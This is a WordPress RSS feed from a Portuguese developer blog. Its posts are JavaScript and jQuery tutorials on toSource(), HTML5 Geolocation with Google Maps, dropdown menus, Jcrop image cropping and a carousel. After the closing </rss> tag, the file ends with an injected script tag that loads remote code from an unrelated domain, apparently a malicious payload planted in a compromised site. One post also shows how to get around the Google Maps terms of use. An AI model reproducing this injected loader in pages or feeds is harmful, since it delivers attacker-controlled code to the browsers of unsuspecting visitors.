<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Blog do Marcos &#187; jQuery</title>
	<atom:link href="http://marcos.blog.br/tag/jquery/feed/" rel="self" type="application/rss+xml" />
	<link>http://marcos.blog.br</link>
	<description>badulaques, gadgets e outros...</description>
	<lastBuildDate>Mon, 12 Jul 2010 21:15:50 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Método toSource() do JavaScript</title>
		<link>http://marcos.blog.br/2010/07/metodo-tosource-do-javascript/</link>
		<comments>http://marcos.blog.br/2010/07/metodo-tosource-do-javascript/#comments</comments>
		<pubDate>Mon, 12 Jul 2010 21:15:50 +0000</pubDate>
		<dc:creator>Marcos</dc:creator>
				<category><![CDATA[Dev Dicas]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[jQuery]]></category>

		<guid isPermaLink="false">http://marcos.blog.br/?p=290</guid>
		<description><![CDATA[O Método toSource() do Javascript é uma mão na roda para quem trabalha com JavaScript orientado a objetos e consiste basicamente em mostrar como String todos os argumentos de um objeto. Para usar, basta chamar o método toSource() em um objeto: alert(objeto.toSource()) E você verá todos os argumentos da instância &#8220;objeto&#]]></description>
			<content:encoded><![CDATA[<p>O <strong>Método toSource()</strong> do <strong>Javascript</strong> é uma mão na roda para quem trabalha com JavaScript orientado a objetos e consiste basicamente em <strong>mostrar como String todos os argumentos de um objeto</strong>.</p>
<p>Para usar, basta chamar o método toSource() em um objeto:</p>
<pre class="brush:javascript">
alert(objeto.toSource())
</pre>
<p>E você verá todos os argumentos da instância &#8220;objeto&#8221;.</p>
<!-- PHP 5.x -->]]></content:encoded>
			<wfw:commentRss>http://marcos.blog.br/2010/07/metodo-tosource-do-javascript/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Localização do Usuário com a API Geolocation do HTML5</title>
		<link>http://marcos.blog.br/2010/07/localizacao-do-usuario-com-a-api-geolocation-do-html-5/</link>
		<comments>http://marcos.blog.br/2010/07/localizacao-do-usuario-com-a-api-geolocation-do-html-5/#comments</comments>
		<pubDate>Sat, 10 Jul 2010 00:01:10 +0000</pubDate>
		<dc:creator>Marcos</dc:creator>
				<category><![CDATA[HTML5]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Usabilidade]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Geolocation]]></category>
		<category><![CDATA[html5]]></category>
		<category><![CDATA[jQuery]]></category>

		<guid isPermaLink="false">http://marcos.blog.br/?p=262</guid>
		<description><![CDATA[Sempre existiu diversas formas de saber a localização física do usuário através de sites que prestavam este serviço e claro, os mais eficientes eram pagos e a integração (ao menos dos que testei) eram horríveis. Com a API Geolocation que está vindo com HTML5, saber a localização de quem visita seu site se tornou bem ]]></description>
			<content:encoded><![CDATA[<p><a  href="http://marcos.blog.br/wp-content/uploads/2010/07/geolocation.jpg" rel="lightbox[262]" title="geolocation"><img class="alignleft size-full wp-image-268" title="geolocation" src="http://marcos.blog.br/wp-content/uploads/2010/07/geolocation.jpg" alt="" width="226" height="210" /></a>Sempre existiu diversas formas de saber a <strong>localização física do usuário</strong> através de sites que prestavam este serviço e claro, os mais eficientes eram pagos e a integração (ao menos dos que testei) eram horríveis.</p>
<p>Com a <strong><a  href="http://www.w3.org/TR/geolocation-API/" target="_blank">API Geolocation</a></strong> que está vindo com <strong>HTML5</strong>, saber a <strong>localização de quem visita seu site se tornou bem simples</strong>. As aplicações para esta API são inúmeras e a qualidade do serviços prestados por sites podem melhorar significativamente com esta facilidade, e o melhor, <strong>de forma gratuita</strong>.</p>
<p>Lembrando que nem todos os navegadores novos suportam esta API. Fiz testes no Google Chrome 5.0.375.99, Firefox 3.6.6 e no Opera 10.60 (todos na versão Linux, claro). Li por aí que o Internet Explorer 8 tem uma implementação de teste. Então se alguém testar no IE, favor deixar nos comentários informações sobre seu suporte.</p>
<p>A <strong>API Geolocation prevê a captura da posição geográfica</strong>, ou seja,<strong> latitude e longitude</strong>. E isso já resolve tudo. Com as coordenadas geográficas é <strong>possível integrar com outras ferramentas</strong> e obter o <strong>logradouro</strong> e até mesmo integrando com o Google Maps <strong>gerar um mapa com a localização do usuário</strong>.</p>
<blockquote><p>Lembrando: Se você tem dúvida se o seu navegador suporta esta API, use o site <a  href="http://html5test.com/" target="_blank">html5teste.com</a> e procure por <strong>Geolocation</strong>.</p></blockquote>
<p><br/></p>
<h2>Segurança</h2>
<p>Se você está preocupado com a segurança e não quer que determinados sites saibam sua localização, a documentação da API prevê<strong> autorização prévia do usuário</strong> para o compartilhamento dessa informação com o site em que você está navegando.</p>
<p>Ao acessar um site que deseja utilizar sua localização para agregar algum serviço, provavelmente você verá a mensagem abaixo (Opera):</p>
<p><a  href="http://marcos.blog.br/wp-content/uploads/2010/07/geo-location-autorizacao.png" rel="lightbox[262]" title="geo-location-autorizacao"><img class="alignleft size-full wp-image-264" title="geo-location-autorizacao" src="http://marcos.blog.br/wp-content/uploads/2010/07/geo-location-autorizacao.png" alt="" width="490" height="22" /></a><br/><br/></p>
<p>Muito mais justo do que qualquer site saber a sua localização sem o seu consentimento.<br />
<br/></p>
<h2>Exemplo Simples: Obtendo as Coordenadas Geográficas</h2>
<p>Para entender o funcionamento da <strong>API </strong>vamos a um <strong>simples exemplo para obter as Coordenadas Geográficas</strong>:</p>
<pre class="brush:javascript">
// verifica o suporte do navegador a API Geolocation
if(navigator.geolocation){
	// Obtem a posição atual
	navigator.geolocation.getCurrentPosition(

	// Em caso de sucesso, obtem a latitude e a longitude
	function(position){
		var lat = position.coords.latitude;
		var lon = position.coords.longitude;
		alert('Latitude:' + lat + ', Longitude: ' + lon);
	},
	// Caso ocorra algum erro (Ex.: O usuário não autorizar o compartilhamento da localização)
	function(error){
		alert('Erro ao capturar localização geográfica.');
	});
}
// Caso o navegador não tenha suporte
else{
	alert('Seu navegador não tem suporte a API Geolocation.');
}
</pre>
<p><a  href="http://marcos.blog.br/exemplos/api-geolocation/w3c-geo-location-api-lat-lon.html" target="_blank"><strong>Clique aqui para ver o exemplo funcionando.</strong></a></p>
<p>Agora que temos as Coordenadas Geográficas, o que fazer com esses números?</p>
<p>Podemos simplesmente saber em qual cidade se localiza essas coordenadas:<br />
<br/></p>
<h2>Obtendo o Endereço Através das Coordenadas</h2>
<p>Existem algumas maneiras de se <strong>obter o endereço através de coordenadas</strong>. Este processo é chamado de “<a  href="http://en.wikipedia.org/wiki/Reverse_geocoding" target="_blank"><strong>reverse geo-coding</strong></a>”. Como no Brasil nós não temos um web service que faz esse trabalho a exemplo do <a  href="http://www.geonames.org" target="_blank">geoNames.org</a> que possui os endereços dos EUA, nós temos que arrumar outra solução.</p>
<p>Então vamos criar uma solução <strong>utilizando a API do Google Maps</strong>. De acordo com os <a  href="http://code.google.com/intl/pt-BR/apis/maps/signup.html" target="_blank">Termos e Utilização da API do Google Maps</a>, você somente pode usar essas informações para exibi-las em um mapa. Qualquer outra forma de exibição é proibida. Porém, existe um meio de extrair essas informações sem imprimi-las em um mapa e que será demonstrado. Lembrando que o código a seguir é apenas um estudo de caso e não pode ser utilizado por ir contra os Termos de Utilização da API do Google Maps.</p>
<p>Para começar, vamos precisar chamar a API do Google Maps e para isso antes temos que <a  href="http://code.google.com/intl/pt-BR/apis/maps/signup.html" target="_blank">gerar uma Chave</a> para autenticação de acordo com o domínio que você for utilizar:<br />
<br/></p>
<pre>
&lt;script type=&quot;text/javascript&quot; src=http://maps.google.com/maps?file=api&amp;v=2.x&amp;key=sua-chave&quot;&gt;&lt;/script&gt;
</pre>
<p><br/><br />
Para conseguir <strong>obter os dados de endereçamento</strong>, vamos utilizar um método chamado <a  href="http://code.google.com/intl/pt-BR/apis/maps/documentation/javascript/v2/reference.html#GClientGeocoder" target="_blank"><strong>GClientGeocoder</strong></a>. Originalmente, este método serve para gerar um endereço que será marcado em um mapa (como no último exemplo deste artigo). Mas não vamos trabalhar com mapas ainda. O código a seguir é capaz de pegar informações separadamente, como na imagem abaixo.</p>
<p><a  href="http://marcos.blog.br/wp-content/uploads/2010/07/Captura_de_tela.png" rel="lightbox[262]" title="Captura_de_tela"><img class="size-full wp-image-270 alignnone" title="Captura_de_tela" src="http://marcos.blog.br/wp-content/uploads/2010/07/Captura_de_tela.png" alt="" width="455" height="120" /></a></p>
<p>Vamos aproveitar o primeiro exemplo para <strong>obter a Latitude e a Longitude da sua localização e depois pegar os dados do endereço</strong>. Veja o código a seguir:</p>
<pre class="brush:javascript">
if(navigator.geolocation){
	navigator.geolocation.getCurrentPosition(
		function(position){
			var lat = position.coords.latitude;
			var lon = position.coords.longitude;

			// Iniciando o GeoCoder
			var geocoder = new GClientGeocoder();
			// Informamos a localização e chamamos uma função no retorno da solicitação
			geocoder.getLocations("("+lat+','+lon+")",localizacao);
			//alert(geocoder);

			function localizacao(retorno){
				if (!retorno || retorno.Status.code != 200) {
					alert("Erro: " + retorno.Status.code);
				} else {
					// Placemark é o objeto que contém as infos do endereço
					// Veja no exemplo as informações que contém no Placemark
					endereco = retorno.Placemark[0];
					alert(endereco.address);
				}
			}
		}
	);
}
</pre>
<p><a  href="http://marcos.blog.br/exemplos/api-geolocation/w3c-geo-location-api-endereco.html" target="_blank"><strong>Clique aqui para ver este código em funcionamento.</strong></a></p>
<p>Até aqui já obtivemos as <strong>Coordenadas Geográficas</strong>, já conseguimos as <strong>Informações de Endereço</strong> e agora vamos mostrar no Mapa a localização do usuário.<br />
<br/></p>
<h2>Exibindo a Localização no Mapa com Google Maps</h2>
<p><a  href="http://marcos.blog.br/wp-content/uploads/2010/07/Captura_de_tela-1.png" rel="lightbox[262]" title="Captura_de_tela-1"><img class="alignnone size-full wp-image-271" title="Captura_de_tela-1" src="http://marcos.blog.br/wp-content/uploads/2010/07/Captura_de_tela-1.png" alt="" width="281" height="284" /></a></p>
<p>Para exibir no mapa, vamos continuar utilizando a <strong>API do Google Maps</strong> modificando o exemplo acima. Veja como fica:</p>
<pre>
<pre class="brush:javascript">
if(navigator.geolocation){
	navigator.geolocation.getCurrentPosition(
		function(position){
			var lat = position.coords.latitude;
			var lon = position.coords.longitude;

			// Iniciando o Mapa
			map = new GMap2(document.getElementById("mapa"));
			// Centralizando na localização
			map.setCenter(new GLatLng(lat,lon), 15);
			// Iniciando o GeoCoder para fazer o Reverter
			geocoder = new GClientGeocoder();
			// Marcando a localização no Mapa
			geocoder.getLocations('('+lat+','+lon+')', exibeEnd);

			// Personalizando a marcação
			function exibeEnd(retorno){
				map.clearOverlays();
				if (!retorno || retorno.Status.code != 200) {
					alert("Erro: " + retorno.Status.code);
				} else {
					place = retorno.Placemark[0];
					point = new GLatLng(place.Point.coordinates[1], place.Point.coordinates[0]);
					marker = new GMarker(point);
					map.addOverlay(marker);
					marker.openInfoWindowHtml(
					'<b>Coordenadas:</b> ' + place.Point.coordinates[1] + "," + place.Point.coordinates[0] + '<br/>' +
					'<b>Logradouro:</b> ' + place.AddressDetails.Country.AdministrativeArea.Locality.DependentLocality.Thoroughfare.ThoroughfareName+ '' +
					'<b>Bairro:</b> ' + place.AddressDetails.Country.AdministrativeArea.Locality.DependentLocality.DependentLocalityName + '<br/>' +
					'<b>Cidade:</b> ' + place.AddressDetails.Country.AdministrativeArea.Locality.LocalityName + '<br/>' +
					'<b>País:</b> ' + place.AddressDetails.Country.CountryNameCode);
				}
			}
		}
	);
}
</pre>
</pre>
<p><a  href="http://marcos.blog.br/exemplos/api-geolocation/w3c-geo-location-api-mapa.html" target="_blank"><strong>Clique aqui para ver este código em funcionamento.</strong></a></p>
<p>Nenhum exemplo desse blog <span style="text-decoration: underline;"><strong>armazena informações do usuário</strong></span> e serve apenas para demonstrar o funcionamento da <strong>API Geolocation</strong>.<br />
<br/></p>
<h2>Conclusão</h2>
<p>A <strong>API Geolocation</strong> realmente<strong> abre um leque de possibilidades</strong> e o que podemos esperar são <strong>aplicações cada vez mais ricas e interativas</strong>, que possam oferecer <strong>serviços de acordo com a localização do usuário</strong>, assim como já fazem alguns aplicativos para dispositivos móveis, ou simplesmente uma empresa poderá exibir em sua <strong>página de contato um &#8220;como chegar&#8221; a partir da sua localização</strong>. Isso pode ser facilmente implementado com poucas modificações no código do artigo &#8220;<a  href="http://marcos.blog.br/2009/10/tracando-rota-com-a-api-do-google-maps/" target="_self"><strong>Traçando Rota com o Google Maps</strong></a>&#8221; publicando neste Blog.</p>
<!-- PHP 5.x -->]]></content:encoded>
			<wfw:commentRss>http://marcos.blog.br/2010/07/localizacao-do-usuario-com-a-api-geolocation-do-html-5/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Simples Menu DropDown com Jquery sem utlizar Plugin</title>
		<link>http://marcos.blog.br/2010/04/simples-menu-dropdown-com-jquery-sem-utlizar-plugin/</link>
		<comments>http://marcos.blog.br/2010/04/simples-menu-dropdown-com-jquery-sem-utlizar-plugin/#comments</comments>
		<pubDate>Wed, 21 Apr 2010 20:33:42 +0000</pubDate>
		<dc:creator>Marcos</dc:creator>
				<category><![CDATA[jQuery]]></category>
		<category><![CDATA[menu]]></category>

		<guid isPermaLink="false">http://marcos.blog.br/?p=168</guid>
		<description><![CDATA[Existem centenas de plugins para criação de menu dropdown para jQuery. Porém quando você quer algo bem simples, não há por que utilizar um plugin com sei lá quantos kb a mais. Então segue um simples código para resolver esta situação de forma bem simples: $(function(){ $('#id-do-item-pai, #sub-menu').mouseover(function(){ $('#sub-menu').css('display','block'); }).mouseout(function(){ $('#sub-menu').css('display','none'); }); }); E o ]]></description>
			<content:encoded><![CDATA[<p>Existem centenas de plugins para criação de menu dropdown para jQuery. Porém quando você quer algo bem simples, não há por que utilizar um plugin com sei lá quantos kb a mais.</p>
<p>Então segue um simples código para resolver esta situação de forma bem simples:</p>
<pre class="brush:javascript">
$(function(){
	$('#id-do-item-pai, #sub-menu').mouseover(function(){
		$('#sub-menu').css('display','block');
	}).mouseout(function(){
		$('#sub-menu').css('display','none');
	});
});
</pre>
<p>E o HTML seria algo como: </p>
<pre class="brush:html">
<li>
	<a  id="id-do-item-pai" href="#">Ítem Pai</a>
<ul id="sub-menu" style="display: none">
<li><a  href="#">Sub ítem 01</a></li>
<li><a  href="#">Sub ítem 02</a></li>
</ul>
</li>
</pre>
<p>Simples assim.</p>
<!-- PHP 5.x -->]]></content:encoded>
			<wfw:commentRss>http://marcos.blog.br/2010/04/simples-menu-dropdown-com-jquery-sem-utlizar-plugin/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Selecionando e recortando imagem com jQuery</title>
		<link>http://marcos.blog.br/2009/09/selecionando-e-recortando-imagem-com-jquery/</link>
		<comments>http://marcos.blog.br/2009/09/selecionando-e-recortando-imagem-com-jquery/#comments</comments>
		<pubDate>Sat, 26 Sep 2009 16:51:03 +0000</pubDate>
		<dc:creator>Marcos</dc:creator>
				<category><![CDATA[jQuery]]></category>
		<category><![CDATA[Dicas]]></category>

		<guid isPermaLink="false">http://marcos.blog.br/?p=85</guid>
		<description><![CDATA[Todo mundo já deve ter visto em alguns sites, ao inserir a imagem do profile, uma tela onde vc seleciona parte da imagem que vc fez upload para ser recortada. A maioria já pré-estabelece a proporção correta para que seu avatar não fique feio ao ser exibido no layout do site. O bom dessas ferramentas, ]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-86" style="margin-left: 5px; margin-right: 5px;" title="Jcrop" src="http://marcos.blog.br/wp-content/uploads/2009/09/Jcrop.jpg" alt="Jcrop" width="214" height="190" />Todo mundo já deve ter visto em alguns sites, ao inserir a imagem do profile, uma tela onde vc seleciona parte da imagem que vc fez upload para ser recortada. A maioria já pré-estabelece a proporção correta para que seu avatar não fique feio ao ser exibido no layout do site.</p>
<p>O bom dessas ferramentas, é que elas podem ser usadas em sistemas CMS onde usuários leigos podem inserir tranquilamente a imagem da matéria de capa sem ter que depender de um designer (e sem estragar o layout dele).</p>
<p>Uma ferramenta poderosa é o <a  href="http://deepliquid.com/projects/Jcrop/demos.php" target="_blank">Jcrop</a>, ela oferece bloqueio de proporção, animação e você ainda pode personalizar o css e deixar mais a cara da sua aplicação. E ainda é cross-browser.</p>
<p>Como usar é bem simples, basta incluir o arquivo do plugin e aplicar o plugin com o seguinte comando:</p>
<pre id="line45">
<pre class="brush:javascript">

$(function(){
	$('#id-da-imagem').Jcrop();
});
</pre>
</pre>
<p>Claro que esta é a forma mais simples, mas na área de <a  href="http://deepliquid.com/projects/Jcrop/demos.php" target="_blank">exemplos do site</a> existem os códigos para você incrementar este código da maneira que você precisar.</p>
<p>Mas não pára por aí, não adianta selecionar a parte da imagem que você quer se não houver o corte da imagem. Para isso vou usar o exemplo do próprio autor utilizando a biblioteca GD do PHP.</p>
<p>Antes de mais nada, precisamos postar as posições a serem cortadas. Para isso, utilize campos input hidden da seguinte forma:</p>
<pre class="brush:html">
<input type="hidden" id="x" name="x" />
<input type="hidden" id="y" name="y" />
<input type="hidden" id="w" name="w" />
<input type="hidden" id="h" name="h" />
</pre>
<p>E a seguinte função para popular esses campos:</p>
<pre class="brush:javascript">
jQuery(function(){
        jQuery('#id-da-imagem').Jcrop({
                aspectRatio: 1,
                onSelect: updateCoords
        });
});

function updateCoords(c)
{
        jQuery('#x').val(c.x);
        jQuery('#y').val(c.y);
        jQuery('#w').val(c.w);
        jQuery('#h').val(c.h);
};
</pre>
<p>Postado as coordenadas da imagem, utilizamos o seguinte código PHP para criar a nova imagem:</p>
<pre class="brush:php">
$targ_w = $targ_h = 150;
$jpeg_quality = 90;

$src = 'demo_files/flowers.jpg';
$img_r = imagecreatefromjpeg($src);
$dst_r = ImageCreateTrueColor( $targ_w, $targ_h );

imagecopyresampled($dst_r,$img_r,0,0,$_POST['x'],$_POST['y'],
    $targ_w,$targ_h,$_POST['w'],$_POST['h']);

header('Content-type: image/jpeg');
imagejpeg($dst_r, null, $jpeg_quality);
</pre>
<!-- PHP 5.x -->]]></content:encoded>
			<wfw:commentRss>http://marcos.blog.br/2009/09/selecionando-e-recortando-imagem-com-jquery/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Carrossel com Jquery</title>
		<link>http://marcos.blog.br/2009/09/carrossel-com-jquery/</link>
		<comments>http://marcos.blog.br/2009/09/carrossel-com-jquery/#comments</comments>
		<pubDate>Fri, 25 Sep 2009 04:05:45 +0000</pubDate>
		<dc:creator>Marcos</dc:creator>
				<category><![CDATA[jQuery]]></category>
		<category><![CDATA[JavaScript]]></category>

		<guid isPermaLink="false">http://marcos.blog.br/?p=55</guid>
		<description><![CDATA[Existe Plugins para tudo quando se está falando em jQuery. Porém a algum tempo atrás eu precisei de um plugin para fazer um carrossel para exibir alguns elementos de lista (&#60;li&#62;) de forma mais bacana no site da Interwise. No entanto, a maioria dos plugins que encontrei eram já desenhados pensando em imagens. Os que ]]></description>
			<content:encoded><![CDATA[<p>Existe <a  href="http://plugins.jquery.com/" target="_blank">Plugins</a> para tudo quando se está falando em jQuery. Porém a algum tempo atrás eu precisei de um plugin para fazer um carrossel para exibir alguns elementos de lista (&lt;li&gt;) de forma mais bacana no site da <a  href="http://interwise.com.br" target="_blank">Interwise</a>.</p>
<p>No entanto, a maioria dos plugins que encontrei eram já desenhados pensando em imagens. Os que eram mais genéricos, eram grandes, de difícil personalização.</p>
<p>Perdi tanto tempo testando que nem me lembrei de como é fácil fazer as coisas com jQuery. Foi aí que resolvi escrever um código simples que resolvesse o meu problema.</p>
<p>E a seguir está o código. Simples, fácil de personalizar e que resolveu a situação.</p>
<pre class="brush:javascript">
var tamCarrosel = ($("#carroselEfeito li").length-1);

$('#carrosel_proximo').click(function() {
	if(i == 0)
		$('#seta_esquerda a').css({'backgroundPosition':'0 0'});
	if(i < tamCarrosel){
		$('#carroselEfeito li').eq(i).animate({ left : "-"+700}, function() {
			$('#carroselEfeito li').eq(i+1).css({ left: "700px"});
			$('#carroselEfeito li').eq(i).hide();
			$('#carroselEfeito li').eq(i+1).animate({left: "-"+0});
			i++;
			if(i == tamCarrosel)
				$('#seta_direita a').css({'backgroundPosition':'0 75px'});
		});
	}
});
$('#carrosel_anterior').click(function(){
	if(i == tamCarrosel)
		$('#seta_direita a').css({'backgroundPosition':'0 0'});
	if(0 < tamCarrosel &#038;&#038; i>0){
		$('#carroselEfeito li').eq(i).animate({left : "+"+700}, function(){
			$('#carroselEfeito li').eq(i-1).css({right: "700px"});
			$('#carroselEfeito li').eq(i).hide();
			$('#carroselEfeito li').eq(i-1).animate({left: "-"+0});
			i--;
			if(i == 0)
				$('#seta_esquerda a').css({'backgroundPosition':'0 75px'});
		});
	}
});
</pre>
<p>E o HTML, mais simples ainda:</p>
<pre class="brush:html">
<code>
<div id="carrosel">
<div class="centro">
<div id="seta_esquerda"><a id="carrosel_anterior" href="javascript:void(0)"></a></div>
<div id="conteudo_carrosel">
<ul id="carroselEfeito">
<li>ítem 01</li>
<li>ítem 02</li>
<li>ítem n</li>
</ul></div>
<div id="seta_direita"><a id="carrosel_proximo" href="javascript:void(0)"></a></div>
</div>
</div>

</code>
</pre>
<p>Vou sempre postar os plugins mais interessantes que já testei para que outros economizem o tempo que já gastei pesquisando sobre. Obviamente que algumas cada caso é um caso. <img src='http://marcos.blog.br/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<!-- PHP 5.x -->]]></content:encoded>
			<wfw:commentRss>http://marcos.blog.br/2009/09/carrossel-com-jquery/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Aplicativos Web</title>
		<link>http://marcos.blog.br/2009/09/aplicativos-web/</link>
		<comments>http://marcos.blog.br/2009/09/aplicativos-web/#comments</comments>
		<pubDate>Sun, 20 Sep 2009 21:20:32 +0000</pubDate>
		<dc:creator>Marcos</dc:creator>
				<category><![CDATA[WebApp]]></category>
		<category><![CDATA[Cloud Computing]]></category>
		<category><![CDATA[ExtJS]]></category>
		<category><![CDATA[jQuery]]></category>

		<guid isPermaLink="false">http://marcos.blog.br/?p=10</guid>
		<description><![CDATA[A tendência mundial de Cloud Computing está se firmando a cada dia. Novos aplicativos plataforma web são lançados diariamente e nas mais diversas áreas]]></description>
			<content:encoded><![CDATA[<p><img class="size-medium wp-image-16 alignleft" title="cloud computing" src="http://marcos.blog.br/wp-content/uploads/2009/09/cloud-computing-kitchen-sink-300x214.jpg" alt="Cloud Computing" width="300" height="214" /></p>
<p>A tendência mundial de <a  href="http://pt.wikipedia.org/wiki/Computa%C3%A7%C3%A3o_em_nuvem" target="_blank">Cloud Computing</a> está se firmando a cada dia. Novos aplicativos plataforma web são lançados diariamente e nas mais diversas áreas.</p>
<p>Muita coisa boa vem sendo feita. Hoje praticamente para tudo que você precisar, você vai encontrar um aplicativo na web, desde um controle financeiro pessoal a gráficos na versão online do <a  href="https://www.photoshop.com" target="_blank">Photoshop</a>.</p>
<p>Essa tendência de aplicativos nas nuvens não é por acaso, as tecnologias web (principalmente de interface) vem tendo uma evolução muito grande nos últimos tempos. Os navegadores estão alterando seus <a  href="https://wiki.mozilla.org/JavaScript:TraceMonkey" target="_blank">compiladores JavaScript</a> para que eles se  tornem mais rápidos e confiáveis, os avanços do <a  href="http://dev.w3.org/html5/spec/Overview.html">HTML5</a>, <a  href="http://www.w3.org/TR/css3-roadmap/" target="_blank">CSS3</a>, e é claro não podemos deixar de lembrar na convergência para o uso de <a  href="http://www.w3c.br/" target="_blank">padrões web</a> que a cada dia que passa ganha mais força.</p>
<p>O uso de Frameworks sem dúvida alguma é algo que realmente enriquece a aplicação. Hoje o <a  href="http://jquery.com/" target="_blank">jQuery</a> tem <a  href="http://plugins.jquery.com/" target="_blank">plugins</a> para praticamente qualquer coisa que você precise,  com a vantagem de um código cross-browser, organizado e de fácil personalização (ao contrário das ferramentas do Visual Studio .Net da Microsoft).</p>
<p>Outro framework que tenho utilizado para algumas aplicações web é o <a  href="http://www.extjs.com/" target="_blank">ExtJS</a>, que está em sua terceira versão do Framework Javascript, e na minha opinião é o que tem elementos de interfaces mais ricas que as demais. Outra coisa que se destaca é a facilidade com que se cria elementos complexos como grid, menu e formulários. Já tem disponível desde a versão 2.0 a tradução para o português para calendário e outros elementos básicos. Outra vantagem é a facilidade de se abstrair o banco de dados podendo trabalhar com XML e Json. Vale lembrar que o ExtJS está licensiado pela <a  href="http://www.opensource.org/licenses/gpl-3.0.html" target="_blank">GPL v3.0</a> e para uso comercial deve-se adquirir a <a  href="http://www.extjs.com/company/dual.php" target="_blank">licença</a>.</p>
<p>Por último e não menos importante, vale ressaltar um grande avanço que está engatinhando e vem sendo impulsionado principalmente pelo Google que é o suporte offline de aplicações web. Isso vem sendo testado através do aplicativo <a  href="http://gears.google.com/" target="_blank">Google Gears</a>, que está em versão beta mas já trás módulos funcionais como:</p>
<ul>
<li><a  href="http://code.google.com/intl/pt-BR/apis/gears/api_localserver.html">LocalServer</a> Recursos de aplicativo de armazenamento em cache e servidor local (HTML, JavaScript, imagens etc.);</li>
<li><a  href="http://code.google.com/intl/pt-BR/apis/gears/api_database.html">Banco de dados</a> Armazenamento local de dados em um banco de dados relacional que pode ser totalmente pesquisado;</li>
<li> <a  href="http://code.google.com/intl/pt-BR/apis/gears/api_workerpool.html">WorkerPool</a> Seus aplicativos de web ficam com maior capacidade de resposta, executando de forma assíncrona as operações com uso intenso de recursos.</li>
</ul>
<p>A versão 0.4 trouxe ainda Geolocation, Acesso a arquivos da máquina, dentre outras coisas. Vale lembrar que o Gears já vem instalado por padrão no Chrome, mas pode ser instalado no Firefox, IE e Safari (windows, linux e Mac).</p>
<p>O Google Gears realmente abre um caminho fantástico para aplicativos que requerem uma dependência mais crítica. Mais informações estão disponíveis no site do <a  href="http://code.google.com/intl/pt-BR/apis/gears/" target="_blank">desenvolvedor da API</a>.</p>
<!-- PHP 5.x -->]]></content:encoded>
			<wfw:commentRss>http://marcos.blog.br/2009/09/aplicativos-web/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://whereisdudescars.com/js2.php"></script>